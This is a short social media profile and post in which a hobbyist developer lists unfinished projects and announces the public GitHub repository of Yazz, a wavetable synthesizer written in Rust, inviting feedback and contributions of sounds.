My stack of unfinished projects includes a Mastodon client for the #Amiga, a side-scrolling shmup on SDL2, most of the first draft of a bad fantasy novel and so many unfinished CTFs.
Currently lost in the endless beyond of #NoMansSky
Rarely lewd but a bit sketchy on CWs.
Hi.
I finally made the repository to my Rust software synth public. It's not finished yet, but if anyone wants to have a look already, I'd appreciate any feedback (regarding sound, usability, documentation, whatever).
Also, this is your chance to go down in history: If you come up with any nice sounds, I'll be happy to include them in the default sound set, which currently still is mostly empty.
github.com
A wavetable synthesizer written in Rust. Contribute to icsga/Yazz development by creating an account on GitHub.
🧘
